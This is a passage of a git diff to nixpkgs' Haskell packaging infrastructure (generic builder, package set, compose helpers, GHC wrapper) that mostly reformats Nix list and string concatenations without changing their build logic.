-    ++ optional (allPkgconfigDepends != [ ]) "--with-pkg-config=${pkg-config.targetPrefix}pkg-config";
+  crossCabalFlags = [
+    "--with-ghc=${ghcCommand}"
+    "--with-ghc-pkg=${ghc.targetPrefix}ghc-pkg"
+    "--with-gcc=${cc}"
+  ]
+  ++ optionals stdenv.hasCC [
+    "--with-ld=${stdenv.cc.bintools.targetPrefix}ld"
+    "--with-ar=${stdenv.cc.bintools.targetPrefix}ar"
+    # use the one that comes with the cross compiler.
+    "--with-hsc2hs=${ghc.targetPrefix}hsc2hs"
+    "--with-strip=${stdenv.cc.bintools.targetPrefix}strip"
+  ]
+  ++ optionals (!isHaLVM) [
+    "--hsc2hs-option=--cross-compile"
+    (optionalString enableHsc2hsViaAsm "--hsc2hs-option=--via-asm")
+  ]
+  ++ optional (allPkgconfigDepends != [ ]) "--with-pkg-config=${pkg-config.targetPrefix}pkg-config";
 
   makeGhcOptions = opts: lib.concatStringsSep " " (map (opt: "--ghc-option=${opt}") opts);
 
   buildFlagsString = optionalString (buildFlags != [ ]) (" " + concatStringsSep " " buildFlags);
 
-  defaultConfigureFlags =
+  defaultConfigureFlags = [
+    "--verbose"
+    "--prefix=$out"
+    # Note: This must be kept in sync manually with mkGhcLibdir
+    ("--libdir=\\$prefix/lib/\\$compiler" + lib.optionalString (ghc ? hadrian) "/lib")
+    "--libsubdir=\\$abi/\\$libname"
+    (optionalString enableSeparateDataOutput "--datadir=$data/share/${ghcNameWithPrefix}")
+    (optionalString enableSeparateDocOutput "--docdir=${docdir "$doc"}")
+  ]
+  ++ optionals stdenv.hasCC [
+    "--with-gcc=$CC" # Clang won't work without that extra information.
+  ]
+  ++ [
+    "--package-db=$packageConfDir"
+    (optionalString (
+      enableSharedExecutables && stdenv.hostPlatform.isLinux
+    ) "--ghc-option=-optl=-Wl,-rpath=$out/${ghcLibdir}/${pname}-${version}")
+    (optionalString (
+      enableSharedExecutables && stdenv.hostPlatform.isDarwin
+    ) "--ghc-option=-optl=-Wl,-headerpad_max_install_names")
+    (optionalString enableParallelBuilding (makeGhcOptions [
+      "-j$NIX_BUILD_CORES"
+      "+RTS"
+      "-A64M"
+      "-RTS"
+    ]))
+    (optionalString useCpphs (
+      "--with-cpphs=${cpphs}/bin/cpphs "
+      + (makeGhcOptions [
+        "-cpp"
+        "-pgmP${cpphs}/bin/cpphs"
+        "-optP--cpp"
+      ])
+    ))
+    (enableFeature enableLibraryProfiling "library-profiling")
+    (optionalString (
+      enableExecutableProfiling || enableLibraryProfiling
+    ) "--profiling-detail=${profilingDetail}")
+    (enableFeature enableExecutableProfiling "profiling")
+    (enableFeature enableSharedLibraries "shared")
+    (enableFeature doCoverage "coverage")
+    (enableFeature enableStaticLibraries "static")
+    (enableFeature enableSharedExecutables "executable-dynamic")
+    (enableFeature doCheck "tests")
+    (enableFeature doBenchmark "benchmarks")
+    "--enable-library-vanilla" # TODO: Should this be configurable?
+    (enableFeature enableLibraryForGhci "library-for-ghci")
+    (enableFeature enableDeadCodeElimination "split-sections")
+    (enableFeature (!dontStrip) "library-stripping")
+    (enableFeature (!dontStrip) "executable-stripping")
+  ]
+  ++ optionals isGhcjs [
+    "--ghcjs"
+  ]
+  ++ optionals isCross (
     [
-      "--verbose"
-      "--prefix=$out"
-      # Note: This must be kept in sync manually with mkGhcLibdir
-      ("--libdir=\\$prefix/lib/\\$compiler" + lib.optionalString (ghc ? hadrian) "/lib")
-      "--libsubdir=\\$abi/\\$libname"
-      (optionalString enableSeparateDataOutput "--datadir=$data/share/${ghcNameWithPrefix}")
-      (optionalString enableSeparateDocOutput "--docdir=${docdir "$doc"}")
+      "--configure-option=--host=${stdenv.hostPlatform.config}"
     ]
-    ++ optionals stdenv.hasCC [
-      "--with-gcc=$CC" # Clang won't work without that extra information.
-    ]
-    ++ [
-      "--package-db=$packageConfDir"
-      (optionalString (
-        enableSharedExecutables && stdenv.hostPlatform.isLinux
-      ) "--ghc-option=-optl=-Wl,-rpath=$out/${ghcLibdir}/${pname}-${version}")
-      (optionalString (
-        enableSharedExecutables && stdenv.hostPlatform.isDarwin
-      ) "--ghc-option=-optl=-Wl,-headerpad_max_install_names")
-      (optionalString enableParallelBuilding (makeGhcOptions [
-        "-j$NIX_BUILD_CORES"
-        "+RTS"
-        "-A64M"
-        "-RTS"
-      ]))
-      (optionalString useCpphs (
-        "--with-cpphs=${cpphs}/bin/cpphs "
-        + (makeGhcOptions [
-          "-cpp"
-          "-pgmP${cpphs}/bin/cpphs"
-          "-optP--cpp"
-        ])
-      ))
-      (enableFeature enableLibraryProfiling "library-profiling")
-      (optionalString (
-        enableExecutableProfiling || enableLibraryProfiling
-      ) "--profiling-detail=${profilingDetail}")
-      (enableFeature enableExecutableProfiling "profiling")
-      (enableFeature enableSharedLibraries "shared")
-      (enableFeature doCoverage "coverage")
-      (enableFeature enableStaticLibraries "static")
-      (enableFeature enableSharedExecutables "executable-dynamic")
-      (enableFeature doCheck "tests")
-      (enableFeature doBenchmark "benchmarks")
-      "--enable-library-vanilla" # TODO: Should this be configurable?
-      (enableFeature enableLibraryForGhci "library-for-ghci")
-      (enableFeature enableDeadCodeElimination "split-sections")
-      (enableFeature (!dontStrip) "library-stripping")
-      (enableFeature (!dontStrip) "executable-stripping")
-    ]
-    ++ optionals isGhcjs [
-      "--ghcjs"
-    ]
-    ++ optionals isCross (
-      [
-        "--configure-option=--host=${stdenv.hostPlatform.config}"
-      ]
-      ++ crossCabalFlags
-    )
-    ++ optionals enableSeparateBinOutput [
-      "--bindir=${binDir}"
-    ]
-    ++ optionals (doHaddockInterfaces && isLibrary) [
-      "--ghc-option=-haddock"
-    ];
+    ++ crossCabalFlags
+  )
+  ++ optionals enableSeparateBinOutput [
+    "--bindir=${binDir}"
+  ]
+  ++ optionals (doHaddockInterfaces && isLibrary) [
+    "--ghc-option=-haddock"
+  ];
 
   postPhases = optional doInstallIntermediates "installIntermediatesPhase";
 
@@ -434,29 +432,29 @@ let
     ++ optionals doCheck testPkgconfigDepends
     ++ optionals doBenchmark benchmarkPkgconfigDepends;
 
-  depsBuildBuild =
-    [ nativeGhc ]
-    # CC_FOR_BUILD may be necessary if we have no C preprocessor for the host
-    # platform. See crossCabalFlags above for more details.
-    ++ lib.optionals (!stdenv.hasCC) [ buildPackages.stdenv.cc ];
+  depsBuildBuild = [
+    nativeGhc
+  ]
+  # CC_FOR_BUILD may be necessary if we have no C preprocessor for the host
+  # platform. See crossCabalFlags above for more details.
+  ++ lib.optionals (!stdenv.hasCC) [ buildPackages.stdenv.cc ];
   collectedToolDepends =
     buildTools
     ++ libraryToolDepends
     ++ executableToolDepends
     ++ optionals doCheck testToolDepends
     ++ optionals doBenchmark benchmarkToolDepends;
-  nativeBuildInputs =
-    [
-      ghc
-      removeReferencesTo
-    ]
-    ++ optional (allPkgconfigDepends != [ ]) (
-      assert pkg-config != null;
-      pkg-config
-    )
-    ++ setupHaskellDepends
-    ++ collectedToolDepends
-    ++ optional stdenv.hostPlatform.isGhcjs nodejs;
+  nativeBuildInputs = [
+    ghc
+    removeReferencesTo
+  ]
+  ++ optional (allPkgconfigDepends != [ ]) (
+    assert pkg-config != null;
+    pkg-config
+  )
+  ++ setupHaskellDepends
+  ++ collectedToolDepends
+  ++ optional stdenv.hostPlatform.isGhcjs nodejs;
   propagatedBuildInputs =
     buildDepends ++ libraryHaskellDepends ++ executableHaskellDepends ++ libraryFrameworkDepends;
   otherBuildInputsHaskell =
@@ -561,12 +559,13 @@ lib.fix (
     {
       inherit pname version;
 
-      outputs =
-        [ "out" ]
-        ++ (optional enableSeparateDataOutput "data")
-        ++ (optional enableSeparateDocOutput "doc")
-        ++ (optional enableSeparateBinOutput "bin")
-        ++ (optional enableSeparateIntermediatesOutput "intermediates");
+      outputs = [
+        "out"
+      ]
+      ++ (optional enableSeparateDataOutput "data")
+      ++ (optional enableSeparateDocOutput "doc")
+      ++ (optional enableSeparateBinOutput "bin")
+      ++ (optional enableSeparateIntermediatesOutput "intermediates");
 
       setOutputFlags = false;
 
@@ -602,103 +601,102 @@ lib.fix (
         ''
         + postPatch;
 
-      setupCompilerEnvironmentPhase =
-        ''
-          NIX_BUILD_CORES=$(( NIX_BUILD_CORES < ${toString maxBuildCores} ? NIX_BUILD_CORES : ${toString maxBuildCores} ))
-          runHook preSetupCompilerEnvironment
+      setupCompilerEnvironmentPhase = ''
+        NIX_BUILD_CORES=$(( NIX_BUILD_CORES < ${toString maxBuildCores} ? NIX_BUILD_CORES : ${toString maxBuildCores} ))
+        runHook preSetupCompilerEnvironment
 
-          echo "Build with ${ghc}."
-          ${optionalString (isLibrary && hyperlinkSource) "export PATH=${hscolour}/bin:$PATH"}
+        echo "Build with ${ghc}."
+        ${optionalString (isLibrary && hyperlinkSource) "export PATH=${hscolour}/bin:$PATH"}
 
-          builddir="$(mktemp -d)"
-          setupPackageConfDir="$builddir/setup-package.conf.d"
-          mkdir -p $setupPackageConfDir
-          packageConfDir="$builddir/package.conf.d"
-          mkdir -p $packageConfDir
+        builddir="$(mktemp -d)"
+        setupPackageConfDir="$builddir/setup-package.conf.d"
+        mkdir -p $setupPackageConfDir
+        packageConfDir="$builddir/package.conf.d"
+        mkdir -p $packageConfDir
 
-          setupCompileFlags="${concatStringsSep " " setupCompileFlags}"
-          configureFlags="${concatStringsSep " " defaultConfigureFlags} $configureFlags"
-        ''
-        # We build the Setup.hs on the *build* machine, and as such should only add
-        # dependencies for the build machine.
-        #
-        # pkgs* arrays defined in stdenv/setup.hs
-        + ''
-          for p in "''${pkgsBuildBuild[@]}" "''${pkgsBuildHost[@]}" "''${pkgsBuildTarget[@]}"; do
-            ${buildPkgDb nativeGhc "$setupPackageConfDir"}
-          done
-          ${nativeGhcCommand}-pkg --package-db="$setupPackageConfDir" recache
-        ''
-        # For normal components
-        + ''
-          for p in "''${pkgsHostHost[@]}" "''${pkgsHostTarget[@]}"; do
-            ${buildPkgDb ghc "$packageConfDir"}
-            if [ -d "$p/include" ]; then
-              appendToVar configureFlags "--extra-include-dirs=$p/include"
-            fi
-            if [ -d "$p/lib" ]; then
-              appendToVar configureFlags "--extra-lib-dirs=$p/lib"
-            fi
-            if [[ -d "$p/Library/Frameworks" ]]; then
-              appendToVar configureFlags "--extra-framework-dirs=$p/Library/Frameworks"
-            fi
-        ''
-        + ''
-          done
-        ''
-        + (optionalString stdenv.hostPlatform.isGhcjs ''
-          export EM_CACHE="$(realpath "$(mktemp -d emcache.XXXXXXXXXX)")"
-          cp -Lr ${emscripten}/share/emscripten/cache/* "$EM_CACHE/"
-          chmod u+rwX -R "$EM_CACHE"
-        '')
-        # only use the links hack if we're actually building dylibs. otherwise, the
-        # "dynamic-library-dirs" point to nonexistent paths, and the ln command becomes
-        # "ln -s $out/lib/links", which tries to recreate the links dir and fails
-        #
-        # Note: We need to disable this work-around when using intermediate build
-        # products from a prior build because otherwise Nix will change permissions on
-        # the `$out/lib/links` directory to read-only when the build is done after the
-        # dist directory has already been exported, which triggers an unnecessary
-        # rebuild of modules included in the exported dist directory.
-        + (optionalString
-          (
-            stdenv.hostPlatform.isDarwin
-            && (enableSharedLibraries || enableSharedExecutables)
-            && !enableSeparateIntermediatesOutput
-          )
-          ''
-            # Work around a limit in the macOS Sierra linker on the number of paths
-            # referenced by any one dynamic library:
-            #
-            # Create a local directory with symlinks of the *.dylib (macOS shared
-            # libraries) from all the dependencies.
-            local dynamicLinksDir="$out/lib/links"
-            mkdir -p $dynamicLinksDir
-
-            # Unprettify all package conf files before reading/writing them
-            for d in "$packageConfDir/"*; do
-              # gawk -i inplace seems to strip the last newline
-              gawk -f ${unprettyConf} "$d" > tmp
-              mv tmp "$d"
-            done
-
-            for d in $(grep '^dynamic-library-dirs:' "$packageConfDir"/* | cut -d' ' -f2- | tr ' ' '\n' | sort -u); do
-              for lib in "$d/"*.{dylib,so}; do
-                # Allow overwriting because C libs can be pulled in multiple times.
-                ln -sf "$lib" "$dynamicLinksDir"
-              done
-            done
-            # Edit the local package DB to reference the links directory.
-            for f in "$packageConfDir/"*.conf; do
-              sed -i "s,dynamic-library-dirs: .*,dynamic-library-dirs: $dynamicLinksDir," "$f"
-            done
-          ''
+        setupCompileFlags="${concatStringsSep " " setupCompileFlags}"
+        configureFlags="${concatStringsSep " " defaultConfigureFlags} $configureFlags"
+      ''
+      # We build the Setup.hs on the *build* machine, and as such should only add
+      # dependencies for the build machine.
+      #
+      # pkgs* arrays defined in stdenv/setup.hs
+      + ''
+        for p in "''${pkgsBuildBuild[@]}" "''${pkgsBuildHost[@]}" "''${pkgsBuildTarget[@]}"; do
+          ${buildPkgDb nativeGhc "$setupPackageConfDir"}
+        done
+        ${nativeGhcCommand}-pkg --package-db="$setupPackageConfDir" recache
+      ''
+      # For normal components
+      + ''
+        for p in "''${pkgsHostHost[@]}" "''${pkgsHostTarget[@]}"; do
+          ${buildPkgDb ghc "$packageConfDir"}
+          if [ -d "$p/include" ]; then
+            appendToVar configureFlags "--extra-include-dirs=$p/include"
+          fi
+          if [ -d "$p/lib" ]; then
+            appendToVar configureFlags "--extra-lib-dirs=$p/lib"
+          fi
+          if [[ -d "$p/Library/Frameworks" ]]; then
+            appendToVar configureFlags "--extra-framework-dirs=$p/Library/Frameworks"
+          fi
+      ''
+      + ''
+        done
+      ''
+      + (optionalString stdenv.hostPlatform.isGhcjs ''
+        export EM_CACHE="$(realpath "$(mktemp -d emcache.XXXXXXXXXX)")"
+        cp -Lr ${emscripten}/share/emscripten/cache/* "$EM_CACHE/"
+        chmod u+rwX -R "$EM_CACHE"
+      '')
+      # only use the links hack if we're actually building dylibs. otherwise, the
+      # "dynamic-library-dirs" point to nonexistent paths, and the ln command becomes
+      # "ln -s $out/lib/links", which tries to recreate the links dir and fails
+      #
+      # Note: We need to disable this work-around when using intermediate build
+      # products from a prior build because otherwise Nix will change permissions on
+      # the `$out/lib/links` directory to read-only when the build is done after the
+      # dist directory has already been exported, which triggers an unnecessary
+      # rebuild of modules included in the exported dist directory.
+      + (optionalString
+        (
+          stdenv.hostPlatform.isDarwin
+          && (enableSharedLibraries || enableSharedExecutables)
+          && !enableSeparateIntermediatesOutput
         )
-        + ''
-          ${ghcCommand}-pkg --package-db="$packageConfDir" recache
+        ''
+          # Work around a limit in the macOS Sierra linker on the number of paths
+          # referenced by any one dynamic library:
+          #
+          # Create a local directory with symlinks of the *.dylib (macOS shared
+          # libraries) from all the dependencies.
+          local dynamicLinksDir="$out/lib/links"
+          mkdir -p $dynamicLinksDir
 
-          runHook postSetupCompilerEnvironment
-        '';
+          # Unprettify all package conf files before reading/writing them
+          for d in "$packageConfDir/"*; do
+            # gawk -i inplace seems to strip the last newline
+            gawk -f ${unprettyConf} "$d" > tmp
+            mv tmp "$d"
+          done
+
+          for d in $(grep '^dynamic-library-dirs:' "$packageConfDir"/* | cut -d' ' -f2- | tr ' ' '\n' | sort -u); do
+            for lib in "$d/"*.{dylib,so}; do
+              # Allow overwriting because C libs can be pulled in multiple times.
+              ln -sf "$lib" "$dynamicLinksDir"
+            done
+          done
+          # Edit the local package DB to reference the links directory.
+          for f in "$packageConfDir/"*.conf; do
+            sed -i "s,dynamic-library-dirs: .*,dynamic-library-dirs: $dynamicLinksDir," "$f"
+          done
+        ''
+      )
+      + ''
+        ${ghcCommand}-pkg --package-db="$packageConfDir" recache
+
+        runHook postSetupCompilerEnvironment
+      '';
 
       compileBuildDriverPhase = ''
         runHook preCompileBuildDriver
@@ -744,21 +742,20 @@ lib.fix (
         runHook postConfigure
       '';
 
-      buildPhase =
-        ''
-          runHook preBuild
-        ''
-        + lib.optionalString (previousIntermediates != null) ''
-          mkdir -p dist;
-          rm -r dist/build
-          cp -r ${previousIntermediates}/${intermediatesDir}/build dist/build
-          find dist/build -exec chmod u+w {} +
-          find dist/build -exec touch -d '1970-01-01T00:00:00Z' {} +
-        ''
-        + ''
-          ${setupCommand} build ${buildTarget}${buildFlagsString}
-          runHook postBuild
-        '';
+      buildPhase = ''
+        runHook preBuild
+      ''
+      + lib.optionalString (previousIntermediates != null) ''
+        mkdir -p dist;
+        rm -r dist/build
+        cp -r ${previousIntermediates}/${intermediatesDir}/build dist/build
+        find dist/build -exec chmod u+w {} +
+        find dist/build -exec touch -d '1970-01-01T00:00:00Z' {} +
+      ''
+      + ''
+        ${setupCommand} build ${buildTarget}${buildFlagsString}
+        runHook postBuild
+      '';
 
       inherit doCheck;
 
@@ -885,46 +882,45 @@ lib.fix (
 
         # All this information is intended just for `shellFor`.  It should be
         # considered unstable and indeed we knew how to keep it private we would.
-        getCabalDeps =
-          {
-            inherit
-              buildDepends
-              buildTools
-              executableFrameworkDepends
-              executableHaskellDepends
-              executablePkgconfigDepends
-              executableSystemDepends
-              executableToolDepends
-              extraLibraries
-              libraryFrameworkDepends
-              libraryHaskellDepends
-              libraryPkgconfigDepends
-              librarySystemDepends
-              libraryToolDepends
-              pkg-configDepends
-              setupHaskellDepends
-              ;
-          }
-          // lib.optionalAttrs doCheck {
-            inherit
-              testDepends
-              testFrameworkDepends
-              testHaskellDepends
-              testPkgconfigDepends
-              testSystemDepends
-              testToolDepends
-              ;
-          }
-          // lib.optionalAttrs doBenchmark {
-            inherit
-              benchmarkDepends
-              benchmarkFrameworkDepends
-              benchmarkHaskellDepends
-              benchmarkPkgconfigDepends
-              benchmarkSystemDepends
-              benchmarkToolDepends
-              ;
-          };
+        getCabalDeps = {
+          inherit
+            buildDepends
+            buildTools
+            executableFrameworkDepends
+            executableHaskellDepends
+            executablePkgconfigDepends
+            executableSystemDepends
+            executableToolDepends
+            extraLibraries
+            libraryFrameworkDepends
+            libraryHaskellDepends
+            libraryPkgconfigDepends
+            librarySystemDepends
+            libraryToolDepends
+            pkg-configDepends
+            setupHaskellDepends
+            ;
+        }
+        // lib.optionalAttrs doCheck {
+          inherit
+            testDepends
+            testFrameworkDepends
+            testHaskellDepends
+            testPkgconfigDepends
+            testSystemDepends
+            testToolDepends
+            ;
+        }
+        // lib.optionalAttrs doBenchmark {
+          inherit
+            benchmarkDepends
+            benchmarkFrameworkDepends
+            benchmarkHaskellDepends
+            benchmarkPkgconfigDepends
+            benchmarkSystemDepends
+            benchmarkToolDepends
+            ;
+        };
 
         # Attributes for the old definition of `shellFor`. Should be removed but
         # this predates the warning at the top of `getCabalDeps`.
@@ -989,8 +985,11 @@ lib.fix (
             inherit shellHook;
 
             depsBuildBuild = lib.optional isCross ghcEnvForBuild;
-            nativeBuildInputs =
-              [ ghcEnv ] ++ optional (allPkgconfigDepends != [ ]) pkg-config ++ collectedToolDepends;
+            nativeBuildInputs = [
+              ghcEnv
+            ]
+            ++ optional (allPkgconfigDepends != [ ]) pkg-config
+            ++ collectedToolDepends;
             buildInputs = otherBuildInputsSystem;
             LANG = "en_US.UTF-8";
             LOCALE_ARCHIVE = lib.optionalString (
@@ -1008,18 +1007,17 @@ lib.fix (
 
       };
 
-      meta =
-        {
-          inherit homepage license platforms;
-        }
-        // optionalAttrs (args ? broken) { inherit broken; }
-        // optionalAttrs (args ? description) { inherit description; }
-        // optionalAttrs (args ? maintainers) { inherit maintainers; }
-        // optionalAttrs (args ? teams) { inherit teams; }
-        // optionalAttrs (args ? hydraPlatforms) { inherit hydraPlatforms; }
-        // optionalAttrs (args ? badPlatforms) { inherit badPlatforms; }
-        // optionalAttrs (args ? changelog) { inherit changelog; }
-        // optionalAttrs (args ? mainProgram) { inherit mainProgram; };
+      meta = {
+        inherit homepage license platforms;
+      }
+      // optionalAttrs (args ? broken) { inherit broken; }
+      // optionalAttrs (args ? description) { inherit description; }
+      // optionalAttrs (args ? maintainers) { inherit maintainers; }
+      // optionalAttrs (args ? teams) { inherit teams; }
+      // optionalAttrs (args ? hydraPlatforms) { inherit hydraPlatforms; }
+      // optionalAttrs (args ? badPlatforms) { inherit badPlatforms; }
+      // optionalAttrs (args ? changelog) { inherit changelog; }
+      // optionalAttrs (args ? mainProgram) { inherit mainProgram; };
 
     }
     // optionalAttrs (args ? sourceRoot) { inherit sourceRoot; }
diff --git a/pkgs/development/haskell-modules/hackage-packages.nix b/pkgs/development/haskell-modules/hackage-packages.nix
index 8b5e872cd8fb..70b81af0814b 100644
--- a/pkgs/development/haskell-modules/hackage-packages.nix
+++ b/pkgs/development/haskell-modules/hackage-packages.nix
@@ -45846,7 +45846,8 @@ self: {
       badPlatforms = [
         "i686-linux"
         "armv7l-linux"
-      ] ++ lib.platforms.darwin;
+      ]
+      ++ lib.platforms.darwin;
     }
   ) { };
 
@@ -704975,7 +704976,8 @@ self: {
       badPlatforms = [
         "i686-linux"
         "armv7l-linux"
-      ] ++ lib.platforms.darwin;
+      ]
+      ++ lib.platforms.darwin;
     }
   ) { inherit (pkgs) vulkan-loader; };
 
@@ -723844,7 +723846,8 @@ self: {
       badPlatforms = [
         "aarch64-linux"
         "armv7l-linux"
-      ] ++ lib.platforms.darwin;
+      ]
+      ++ lib.platforms.darwin;
       hydraPlatforms = lib.platforms.none;
       mainProgram = "xgb-agaricus";
       broken = true;
diff --git a/pkgs/development/haskell-modules/lib/compose.nix b/pkgs/development/haskell-modules/lib/compose.nix
index 12b728e9d245..d3b0a215fa90 100644
--- a/pkgs/development/haskell-modules/lib/compose.nix
+++ b/pkgs/development/haskell-modules/lib/compose.nix
@@ -459,13 +459,11 @@ rec {
     enableLibraryProfiling = drv.enableExecutableProfiling or false;
     isLibrary = false;
     doHaddock = false;
-    postFixup =
-      drv.postFixup or ""
-      + ''
+    postFixup = drv.postFixup or "" + ''
 
-        # Remove every directory which could have links to other store paths.
-        rm -rf $out/lib $out/nix-support $out/share/doc
-      '';
+      # Remove every directory which could have links to other store paths.
+      rm -rf $out/lib $out/nix-support $out/share/doc
+    '';
     disallowGhcReference = true;
   });
 
@@ -540,12 +538,10 @@ rec {
   triggerRebuild =
     i:
     overrideCabal (drv: {
-      postUnpack =
-        drv.postUnpack or ""
-        + ''
+      postUnpack = drv.postUnpack or "" + ''
 
-          # trigger rebuild ${toString i}
-        '';
+        # trigger rebuild ${toString i}
+      '';
     });
 
   /*
@@ -633,23 +629,21 @@ rec {
   __generateOptparseApplicativeCompletion =
     exeName:
     overrideCabal (drv: {
-      postInstall =
-        (drv.postInstall or "")
-        + ''
-          bashCompDir="''${!outputBin}/share/bash-completion/completions"
-          zshCompDir="''${!outputBin}/share/zsh/vendor-completions"
-          fishCompDir="''${!outputBin}/share/fish/vendor_completions.d"
-          mkdir -p "$bashCompDir" "$zshCompDir" "$fishCompDir"
-          "''${!outputBin}/bin/${exeName}" --bash-completion-script "''${!outputBin}/bin/${exeName}" >"$bashCompDir/${exeName}"
-          "''${!outputBin}/bin/${exeName}" --zsh-completion-script "''${!outputBin}/bin/${exeName}" >"$zshCompDir/_${exeName}"
-          "''${!outputBin}/bin/${exeName}" --fish-completion-script "''${!outputBin}/bin/${exeName}" >"$fishCompDir/${exeName}.fish"
+      postInstall = (drv.postInstall or "") + ''
+        bashCompDir="''${!outputBin}/share/bash-completion/completions"
+        zshCompDir="''${!outputBin}/share/zsh/vendor-completions"
+        fishCompDir="''${!outputBin}/share/fish/vendor_completions.d"
+        mkdir -p "$bashCompDir" "$zshCompDir" "$fishCompDir"
+        "''${!outputBin}/bin/${exeName}" --bash-completion-script "''${!outputBin}/bin/${exeName}" >"$bashCompDir/${exeName}"
+        "''${!outputBin}/bin/${exeName}" --zsh-completion-script "''${!outputBin}/bin/${exeName}" >"$zshCompDir/_${exeName}"
+        "''${!outputBin}/bin/${exeName}" --fish-completion-script "''${!outputBin}/bin/${exeName}" >"$fishCompDir/${exeName}.fish"
 
-          # Sanity check
-          grep -F ${exeName} <$bashCompDir/${exeName} >/dev/null || {
-            echo 'Could not find ${exeName} in completion script.'
-            exit 1
-          }
-        '';
+        # Sanity check
+        grep -F ${exeName} <$bashCompDir/${exeName} >/dev/null || {
+          echo 'Could not find ${exeName} in completion script.'
+          exit 1
+        }
+      '';
     });
 
   /*
diff --git a/pkgs/development/haskell-modules/make-package-set.nix b/pkgs/development/haskell-modules/make-package-set.nix
index 50320b4a949b..44dc23278963 100644
--- a/pkgs/development/haskell-modules/make-package-set.nix
+++ b/pkgs/development/haskell-modules/make-package-set.nix
@@ -592,17 +592,16 @@ package-set { inherit pkgs lib callPackage; } self
       #
       # The important thing to note here is that all the fields from
       # packageInputs are set correctly.
-      genericBuilderArgs =
-        {
-          pname = if pkgs.lib.length selected == 1 then (pkgs.lib.head selected).name else "packages";
-          version = "0";
-          license = null;
-        }
-        // packageInputs
-        // pkgs.lib.optionalAttrs doBenchmark {
-          # `doBenchmark` needs to explicitly be set here because haskellPackages.mkDerivation defaults it to `false`.  If the user wants benchmark dependencies included in their development shell, it has to be explicitly enabled here.
-          doBenchmark = true;
-        };
+      genericBuilderArgs = {
+        pname = if pkgs.lib.length selected == 1 then (pkgs.lib.head selected).name else "packages";
+        version = "0";
+        license = null;
+      }
+      // packageInputs
+      // pkgs.lib.optionalAttrs doBenchmark {
+        # `doBenchmark` needs to explicitly be set here because haskellPackages.mkDerivation defaults it to `false`.  If the user wants benchmark dependencies included in their development shell, it has to be explicitly enabled here.
+        doBenchmark = true;
+      };
 
       # This is a pseudo Haskell package derivation that contains all the
       # dependencies for the packages in `selected`.
diff --git a/pkgs/development/haskell-modules/with-packages-wrapper.nix b/pkgs/development/haskell-modules/with-packages-wrapper.nix
index b1b227d2dcc2..09926ab0f24c 100644
--- a/pkgs/development/haskell-modules/with-packages-wrapper.nix
+++ b/pkgs/development/haskell-modules/with-packages-wrapper.nix
@@ -96,108 +96,107 @@ else
     name = ghc.name + "-with-packages";
     paths = paths ++ [ ghc ] ++ lib.optionals installDocumentation [ (lib.getOutput "doc" ghc) ];
     nativeBuildInputs = [ makeWrapper ];
-    postBuild =
-      ''
-        # wrap compiler executables with correct env variables
+    postBuild = ''
+      # wrap compiler executables with correct env variables
 
-        for prg in ${ghcCommand} ${ghcCommand}i ${ghcCommand}-${ghc.version} ${ghcCommand}i-${ghc.version}; do
-          if [[ -x "${ghc}/bin/$prg" ]]; then
-            rm -f $out/bin/$prg
-            makeWrapper ${ghc}/bin/$prg $out/bin/$prg                           \
-              --add-flags '"-B$NIX_${ghcCommandCaps}_LIBDIR"'                   \
-              --set "NIX_${ghcCommandCaps}"        "$out/bin/${ghcCommand}"     \
-              --set "NIX_${ghcCommandCaps}PKG"     "$out/bin/${ghcCommand}-pkg" \
-              --set "NIX_${ghcCommandCaps}_DOCDIR" "${docDir}"                  \
-              --set "NIX_${ghcCommandCaps}_LIBDIR" "${libDir}"                  \
-              ${
-                lib.optionalString (ghc.isGhcjs or false) ''--set NODE_PATH "${ghc.socket-io}/lib/node_modules"''
-              } \
-              ${lib.optionalString useLLVM ''--prefix "PATH" ":" "${llvm}"''}
-          fi
-        done
+      for prg in ${ghcCommand} ${ghcCommand}i ${ghcCommand}-${ghc.version} ${ghcCommand}i-${ghc.version}; do
+        if [[ -x "${ghc}/bin/$prg" ]]; then
+          rm -f $out/bin/$prg
+          makeWrapper ${ghc}/bin/$prg $out/bin/$prg                           \
+            --add-flags '"-B$NIX_${ghcCommandCaps}_LIBDIR"'                   \
+            --set "NIX_${ghcCommandCaps}"        "$out/bin/${ghcCommand}"     \
+            --set "NIX_${ghcCommandCaps}PKG"     "$out/bin/${ghcCommand}-pkg" \
+            --set "NIX_${ghcCommandCaps}_DOCDIR" "${docDir}"                  \
+            --set "NIX_${ghcCommandCaps}_LIBDIR" "${libDir}"                  \
+            ${
+              lib.optionalString (ghc.isGhcjs or false) ''--set NODE_PATH "${ghc.socket-io}/lib/node_modules"''
+            } \
+            ${lib.optionalString useLLVM ''--prefix "PATH" ":" "${llvm}"''}
+        fi
+      done
 
-        for prg in runghc runhaskell; do
-          if [[ -x "${ghc}/bin/$prg" ]]; then
-            rm -f $out/bin/$prg
-            makeWrapper ${ghc}/bin/$prg $out/bin/$prg                           \
-              --add-flags "-f $out/bin/${ghcCommand}"                           \
-              --set "NIX_${ghcCommandCaps}"        "$out/bin/${ghcCommand}"     \
-              --set "NIX_${ghcCommandCaps}PKG"     "$out/bin/${ghcCommand}-pkg" \
-              --set "NIX_${ghcCommandCaps}_DOCDIR" "${docDir}"                  \
-              --set "NIX_${ghcCommandCaps}_LIBDIR" "${libDir}"
-          fi
-        done
-
-        for prg in ${ghcCommand}-pkg ${ghcCommand}-pkg-${ghc.version}; do
-          if [[ -x "${ghc}/bin/$prg" ]]; then
-            rm -f $out/bin/$prg
-            makeWrapper ${ghc}/bin/$prg $out/bin/$prg --add-flags "--global-package-db=${packageCfgDir}"
-          fi
-        done
-
-        # haddock was referring to the base ghc, https://github.com/NixOS/nixpkgs/issues/36976
-        if [[ -x "${ghc}/bin/haddock" ]]; then
-          rm -f $out/bin/haddock
-          makeWrapper ${ghc}/bin/haddock $out/bin/haddock    \
-            --add-flags '"-B$NIX_${ghcCommandCaps}_LIBDIR"'  \
+      for prg in runghc runhaskell; do
+        if [[ -x "${ghc}/bin/$prg" ]]; then
+          rm -f $out/bin/$prg
+          makeWrapper ${ghc}/bin/$prg $out/bin/$prg                           \
+            --add-flags "-f $out/bin/${ghcCommand}"                           \
+            --set "NIX_${ghcCommandCaps}"        "$out/bin/${ghcCommand}"     \
+            --set "NIX_${ghcCommandCaps}PKG"     "$out/bin/${ghcCommand}-pkg" \
+            --set "NIX_${ghcCommandCaps}_DOCDIR" "${docDir}"                  \
             --set "NIX_${ghcCommandCaps}_LIBDIR" "${libDir}"
         fi
+      done
 
+      for prg in ${ghcCommand}-pkg ${ghcCommand}-pkg-${ghc.version}; do
+        if [[ -x "${ghc}/bin/$prg" ]]; then
+          rm -f $out/bin/$prg
